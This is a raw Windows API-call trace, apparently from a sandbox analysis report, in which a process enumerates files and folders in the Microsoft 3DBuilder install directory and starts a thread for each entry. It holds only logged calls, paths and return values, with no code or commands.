	[0078.040] wcscpy (in: _Dest=0x4752830, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.040] wcscat (in: _Dest=0x4752830, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.040] wcscat (in: _Dest=0x4752830, _Source="LoadIconRTL_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-white.png"
	[0078.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd18
	[0078.041] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97326c19, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x97326c19, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x97326c19, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd84, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoadIcon_contrast-black.png", cAlternateFileName="")) returned 1
	[0078.041] wcscmp (_String1="LoadIcon_contrast-black.png", _String2=".") returned 1
	[0078.041] wcscmp (_String1="LoadIcon_contrast-black.png", _String2="..") returned 1
	[0078.041] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47eb7f8
	[0078.041] wcscpy (in: _Dest=0x47eb7f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.041] wcscat (in: _Dest=0x47eb7f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.041] wcscat (in: _Dest=0x47eb7f8, _Source="LoadIcon_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-black.png"
	[0078.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eb7f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd1c
	[0078.042] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97326c19, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x97326c19, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x97326c19, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoadIcon_contrast-white.png", cAlternateFileName="")) returned 1
	[0078.042] wcscmp (_String1="LoadIcon_contrast-white.png", _String2=".") returned 1
	[0078.042] wcscmp (_String1="LoadIcon_contrast-white.png", _String2="..") returned 1
	[0078.042] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47eaf88
	[0078.042] wcscpy (in: _Dest=0x47eaf88, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.042] wcscat (in: _Dest=0x47eaf88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.042] wcscat (in: _Dest=0x47eaf88, _Source="LoadIcon_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-white.png"
	[0078.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eaf88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd20
	[0078.043] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97326c19, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa998a0eb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x974a57e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifestAssets", cAlternateFileName="MANIFE~1")) returned 1
	[0078.043] wcscmp (_String1="manifestAssets", _String2=".") returned 1
	[0078.043] wcscmp (_String1="manifestAssets", _String2="..") returned 1
	[0078.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477c1d0
	[0078.043] wcscpy (in: _Dest=0x477c1d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.043] wcscat (in: _Dest=0x477c1d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.043] wcscat (in: _Dest=0x477c1d0, _Source="manifestAssets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets"
	[0078.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477c1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd24
	[0078.044] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x974a57e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x974a57e1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x974a57e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediumBlue.png", cAlternateFileName="")) returned 1
	[0078.044] wcscmp (_String1="MediumBlue.png", _String2=".") returned 1
	[0078.044] wcscmp (_String1="MediumBlue.png", _String2="..") returned 1
	[0078.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477d7c0
	[0078.044] wcscpy (in: _Dest=0x477d7c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.044] wcscat (in: _Dest=0x477d7c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.044] wcscat (in: _Dest=0x477d7c0, _Source="MediumBlue.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\MediumBlue.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\MediumBlue.png"
	[0078.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd28
	[0078.044] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x974a57e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9aa16f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x975664ea, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1
	[0078.045] wcscmp (_String1="Office", _String2=".") returned 1
	[0078.045] wcscmp (_String1="Office", _String2="..") returned 1
	[0078.045] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476c6d0
	[0078.045] wcscpy (in: _Dest=0x476c6d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.045] wcscat (in: _Dest=0x476c6d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.045] wcscat (in: _Dest=0x476c6d0, _Source="Office" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office"
	[0078.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476c6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd2c
	[0078.045] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x975664ea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9aa22bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9758c747, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0078.045] wcscmp (_String1="Resources", _String2=".") returned 1
	[0078.045] wcscmp (_String1="Resources", _String2="..") returned 1
	[0078.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47e91c0
	[0078.046] wcscpy (in: _Dest=0x47e91c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.046] wcscat (in: _Dest=0x47e91c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.046] wcscat (in: _Dest=0x47e91c0, _Source="Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources"
	[0078.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e91c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd30
	[0078.046] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x975d8bfa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x975d8bfa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x975d8bfa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd09, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScanIcon_contrast-black.png", cAlternateFileName="")) returned 1
	[0078.046] wcscmp (_String1="ScanIcon_contrast-black.png", _String2=".") returned 1
	[0078.046] wcscmp (_String1="ScanIcon_contrast-black.png", _String2="..") returned 1
	[0078.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47ebe88
	[0078.046] wcscpy (in: _Dest=0x47ebe88, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.046] wcscat (in: _Dest=0x47ebe88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.047] wcscat (in: _Dest=0x47ebe88, _Source="ScanIcon_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-black.png"
	[0078.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ebe88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd34
	[0078.047] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x975d8bfa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x975d8bfa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x975d8bfa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScanIcon_contrast-white.png", cAlternateFileName="")) returned 1
	[0078.047] wcscmp (_String1="ScanIcon_contrast-white.png", _String2=".") returned 1
	[0078.047] wcscmp (_String1="ScanIcon_contrast-white.png", _String2="..") returned 1
	[0078.047] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47ec338
	[0078.047] wcscpy (in: _Dest=0x47ec338, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.047] wcscat (in: _Dest=0x47ec338, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.047] wcscat (in: _Dest=0x47ec338, _Source="ScanIcon_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-white.png"
	[0078.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ec338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd38
	[0078.048] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x975d8bfa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b12d9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9764f8c5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextureBitmaps", cAlternateFileName="TEXTUR~1")) returned 1
	[0078.048] wcscmp (_String1="TextureBitmaps", _String2=".") returned 1
	[0078.048] wcscmp (_String1="TextureBitmaps", _String2="..") returned 1
	[0078.048] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477c890
	[0078.048] wcscpy (in: _Dest=0x477c890, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.048] wcscat (in: _Dest=0x477c890, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.048] wcscat (in: _Dest=0x477c890, _Source="TextureBitmaps" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps"
	[0078.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477c890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd3c
	[0078.049] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9764f8c5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b67c1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x976e822e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow", cAlternateFileName="")) returned 1
	[0078.049] wcscmp (_String1="Workflow", _String2=".") returned 1
	[0078.049] wcscmp (_String1="Workflow", _String2="..") returned 1
	[0078.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47e8c10
	[0078.049] wcscpy (in: _Dest=0x47e8c10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.049] wcscat (in: _Dest=0x47e8c10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.049] wcscat (in: _Dest=0x47e8c10, _Source="Workflow" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow"
	[0078.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e8c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd40
	[0078.050] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9764f8c5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b67c1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x976e822e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow", cAlternateFileName="")) returned 0
	[0078.050] FindClose (in: hFindFile=0x2dad4b8 | out: hFindFile=0x2dad4b8) returned 1
	[0078.050] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x475b580) returned 1
	[0078.050] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c87a0) returned 1
	[0078.050] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb5f0) returned 1

Thread:
	id = 604
	os_tid = 0x189c

	[0077.504] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x47c8920
	[0077.504] wcscpy (in: _Dest=0x47c8920, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common"
	[0077.504] wcscat (in: _Dest=0x47c8920, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\"
	[0077.504] wcscat (in: _Dest=0x47c8920, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\*"
	[0077.504] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4758a30
	[0077.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\*", lpFindFileData=0x4758a30 | out: lpFindFileData=0x4758a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9853e192, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9bd24bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9853e192, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0078.753] wcscmp (_String1=".", _String2=".") returned 0
	[0078.753] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x4758a30 | out: lpFindFileData=0x4758a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9853e192, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9bd24bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9853e192, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.753] wcscmp (_String1="..", _String2=".") returned 1
	[0078.753] wcscmp (_String1="..", _String2="..") returned 0
	[0078.753] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x4758a30 | out: lpFindFileData=0x4758a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9853e192, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9853e192, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9853e192, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe.txt", cAlternateFileName="")) returned 1
	[0078.753] wcscmp (_String1="ReadMe.txt", _String2=".") returned 1
	[0078.753] wcscmp (_String1="ReadMe.txt", _String2="..") returned 1
	[0078.753] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47e96a0
